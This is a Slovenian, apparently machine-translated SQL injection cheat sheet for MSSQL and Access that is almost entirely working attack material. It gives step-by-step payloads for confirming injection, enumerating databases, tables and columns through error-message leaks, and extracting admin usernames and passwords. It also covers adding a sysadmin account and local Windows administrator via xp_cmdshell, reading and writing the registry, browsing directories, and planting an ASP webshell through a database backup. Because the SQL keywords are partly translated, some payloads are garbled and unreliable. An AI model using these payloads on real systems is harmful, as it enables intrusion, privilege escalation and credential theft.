1. Ugotoviti, ali je prišlo do injekcije ; in 1=1 ; in 1=2
2. Predhodna presoja, ali gre za mssql ; in uporabnik>0
3. Presodi podatkovni sistem ; in (select count(*) iz sysobjects)>0 mssql ; in (izberi count(*) iz msysobjects)>0 dostop
4. Parameter vbrizgavanja je znak 'in [kriteriji poizvedb] in ''='
5. Med iskanjem ni filtriranih parametrov 'in [kriteriji poizvedb] in '%25'='
6. Ugani ime mize ; in (izberite Count(*) iz [ime tabele])>0
7. Ugani polje ; in (izberite Count(ime polja) iz imena tabele)>0
8. Ugani dolžino zapisa na polju ; in (izberite zgornjo 1 lečo (ime polja) iz imena tabele)>0
9. (1) Ugani ASCII vrednost polja (dostop) ; in (izberite Top 1 ASC(Mid(Field Name, 1,1)) iz imena tabele)>0
(2) Ugani ASCII vrednost polja (mssql) ; in (izberite top 1 unicode(substring(field name,1,1)) iz imena tabele)>0
10. Struktura dovoljenj za testiranje (mssql) ; in 1=(izberite IS_SRVROLEMEMBER('sysadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('serveradmin')); -- ; in 1=(izberi IS_SRVROLEMEMBER('setupadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('securityadmin')); -- ; in 1=(izberi IS_SRVROLEMEMBER('diskadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('bulkadmin')); -- ; in 1=(izberite IS_MEMBER('db_owner')); --
11. Dodajte račun za mssql in sistem ; izvršni master.dbo.sp_addlogin uporabniško ime; -- ; izvršni master.dbo.sp_password null, uporabniško ime, geslo; -- ; uporabniško ime izvršnega master.dbo.sp_addsrvrolemember sistemskega administratorja; -- ; exec master.dbo.xp_cmdshell 'NET uporabniško ime, geslo /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; izvršni master.dbo.xp_cmdshell 'net uporabniško ime, geslo /add'; -- ; izvršni master.dbo.xp_cmdshell 'Uporabniško ime administratorjev lokalnih skupin /add'; --
12. (1) Preglejte katalog ; Create table dirs(paths varchar(100), id int) ; vstavi direktors exec master.dbo.xp_dirtree 'c:\' ; in (izberi top 1 poti iz dirs)>0 ; in (izberi zgornje 1 poti iz dirjev, kjer poti niso v ('poti, pridobljene iz prejšnjega koraka'))>)
(2) Prečkati katalog ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vstavi začasno izvršno master.dbo.xp_availablemedia; -- Pridobite vse tokovne pogone ; vstavi v temp(id) izvršni master.dbo.xp_subdirs 'c:\'; -- Pridobite seznam podimenikov ; vstavi v temp(id,num1) izvršilko master.dbo.xp_dirtree 'c:\'; -- Pridobi strukturo drevesa imenikov za vse podimenike ; vstavi v temp(id) exec master.dbo.xp_cmdshell 'vpiši c:\web\index.asp'; -- Oglejte si vsebino datoteke
13. Shranjene procedure v mssql xp_regenumvalues Korenski ključ registra, otroški ključ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vrne vse ključne vrednosti v več zbirkah zapisov xp_regread Korenski ključ, otroški ključ, ime ključ-vrednost ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vrne vrednost ključa za nastavitev xp_regwrite Korenski ključ, otroški ključ, ime vrednosti, tip vrednosti, vrednost Obstajata dve vrsti vrednostnih tipov REG_SZ REG_DWORD za tipe znakov in za cela števila ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' v register xp_regdeletevalue Korenski ključ, podključ, ime vrednosti exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' za odstranitev vrednosti xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' za odstranitev ključa, vključno z vsemi vrednostmi pod tem ključem
14. MSSQL varnostno kopiranje ustvari spletno lupino Model uporabe create table cmd (str image); vstavi v cmd(str) vrednosti ('<% Dim oScript %>'); model varnostne kopije baze podatkov na disk='c:\l.asp';
15. Vgrajene funkcije MSSQL ; in (izberite @@version)>0 za pridobitev številke različice Windows ; in user_name()='dbo' za ugotavljanje, ali je povezan uporabnik trenutnega sistema SA ; in (izberi user_name()>0 Eksplodiral povezane uporabnike trenutnega sistema ; in (izberite db_name()>0 za pridobitev trenutno povezane baze podatkov
Kršitev ročno označene podatkovne baze MSSQL
1. Razkritje trenutnega imena tabele in stolpca Vnesite "'having 1=1--" za točko vbrizga, da dobite povratno sporočilo v angleščini, kjer lahko vidite ime tabele in ime stolpca. Pošljite "group by the list name have 1=1--", da dobite drugo ime stolpca; Nadaljujte z oddajo "razvrstite po seznamu imena izpostavljene mize, ime izpostavljene tabele. Ime drugega stolpca ima 1=1--", kar vam da drugo ime stolpca. Potrdite na enak način, dokler stran ne preneha vračati sporočil o napakah, da dobite vsa imena stolpcev. Zanimivosti: Nasilna imena tabel in stolpcev se uporabljajo v kombinaciji z GROUP BY v SQL stavkih za pogojne sodbe. Ker je izjava nepopolna, baza podatkov vrne sporočilo o napaki in prikaže ime tabele ter ime stolpca. Osnovna metoda lahko v bazi podatkov razkrije le trenutno tabelo, in če tabela vsebuje veliko imen stolpcev, je uporaba osnovne metode zelo težka.
Najprej. Vsa imena baz podatkov so razkrita Uporabite ukaz "and 0<>(select count(*) iz master.dbo.sysdatabases where name>1 and dbid=[N])" za prikaz poljubnih imen tabel in stolpcev v bazi, kjer "[N]" predstavlja N-to tabelo v bazi. Korak 1: Po vbrizgu točke oddajte naslednjo izjavo: "and 0<>(select count(*) iz master.dbo.sysdatabases, kjer je ime>1 in dbid=12)", ker je vrednost dbid od 1 do 5, kar uporablja sistem, zato mora uporabnik to narediti iz 6, mi pa smo poslali ime>1, polje imena je polje tipa znaka, in primerjava številk bo napačna, zato bo po oddaji IE vrnil naslednje informacije: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] pretvori vrednost nvarchar 'Northwind' v podatkovni tip int stolpec. Na ta način je vrednost polja imena izpostavljena, torej dobimo ime baze podatkov "Northwind". Sprememba vrednosti "dbid" lahko pridobi imena vseh baz podatkov.
in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer name>1 in dbid=[N])-- Spremeni N, da se vsa imena baz podatkov izbrišejo iz 6
Drugič. Razkritje vseh imen tabel v določeni bazi podatkov Ko pridobite ime baze podatkov, morate zdaj pridobiti vsa imena tabel v knjižnici, oddati naslednjo izjavo: "and 0<>(izberite ime top 1 iz master.dbo.sysobjects where xtype='U')", tukaj je ime tabele v glavni bazi podatkov, SQL izjava poizvedbe vrne vrednost imena in jo nato primerja s številko 0, da bo vrednost imena izpostavljena. Po oddaji je bilo ime mize "'spt_monito" razkrito. Nato se izpostavijo druge tabele in odda se naslednja izjava: "and 0<>(izberi prvo ime iz master.dbo.sysobjects, kjer xtype='U' in ime ni v('spt_monito'))", ter druga tabela z imenom "cd512" je izpostavljena. Datoteka "and name not in(' spt_monito',' CD512',..))" Lahko izveste vsa imena miz.
in 0<>(izberite prvo ime iz [določi ime baze podatkov].dbo.sysobjects kjer xtype='U')-- in 0<>(izberi prvo ime iz [določi ime baze podatkov].dbo.sysobjects, kjer xtype='U' in ime ni v('[Eksplodirana tabela]'))-- in 0<>(izberi prvo ime iz [določi ime baze podatkov].dbo.sysobjects, kjer xtype='U' in ime ni v ('[Explosive table name]', '[Exploded second table name]')))--
4. Prikaži vsa imena stolpcev v določeni tabeli in 0<>(select count(*) iz bbs.dbo.sysobjects, kjer xtype='U' in name='admin' ter uid>(str(id))) Pretvorite vrednost ID v tip znaka in jo nato primerjajte z celoštevilsko vrednostjo. ID številka je zunaj. Vrednost je: 949578421 ime='ime tabele'
in 0<>(izberite prvo ime iz wutong.dbo.syscolumns, kjer je id=949578421)-- Polje v administrativni tabeli je izpostavljeno
Ponovno pošlji in 0<>(izberi prvo ime iz wutong.dbo.syscolumns, kjer id=949578421 in ime ni v ('adduser')))-- Datoteka "and name not in(' spt_monito',' CD512',..))" Vsa imena polj lahko najdete v administrativni tabeli.
in 0<>(izberi count(*) iz [določi ime baze podatkov].dbo.sysobjects kjer xtype='U' in ime='[Ime tabele polja, ki ga želimo razbiti]' in uid>(str(id)))--ID vrednost imena tabele polja, ki ga želimo razstreliti
in 0<>(izberite prvo ime iz [določite ime baze podatkov].dbo.syscolumns, kjer id=eksplodirana vrednost id)-- Ime polja v tabeli vrednosti eksplodirajočega ID
in 0<>(izberi prvo ime iz [navedi ime baze podatkov].dbo.syscolumns, kjer id=Eksplozivna vrednost ID in ime ni v('[Eksplodirano ime polja]'))--
5. Preberi podatke v določeni tabeli
in 0<(izberi A_ID iz wutong.dbo.admin, kjer A_UserID>1) – vsebina, ki je prekinila A_PWD
in 0<(izberi [polje, ki obstaja] iz [navedi ime baze podatkov].dbo.[ime tabele za poizvedbo], kjer [ime polja za eksplozivno vsebino]>1)--
in 0<(izberi A_ID iz wutong.dbo.admin, kjer sta A_PWD>1 in A_UserID='admin')-- Geslo administratorja je izpostavljeno
in 0<(Izberi Top 1 A_UserID OD administratorja, kjer A_ID<>1)-- Ime administratorja id<>1 (fuhao)
in 0<(Izberi Top 1 A_UserID OD administratorja, kjer A_ID <>1 in A_UserID <> 'fuhao')-- Ime drugega administratorja <>ni enako (tuiguang)
in 0<(Izberi Top 1 A_UserID OD admina, kjer A_ID <>1 in A_UserID <> 'fuhao' in A_UserID <> 'tuiguang')--
Ko poznate ime tabele in ime stolpca baze podatkov, lahko uporabite "query statement" za branje katerekoli informacije v bazi. Na primer, če želite prebrati N-te podatke v stolpcu v tabeli, lahko oddate izjavo: "and (Izberite ime zgornjega 1 stolpca IZ imena tabele, kjer id=[N])>1" ([N] predstavlja N-te podatke v stolpcu), in lahko izvedete želene podatke iz informacij, ki jih vrne IE.
|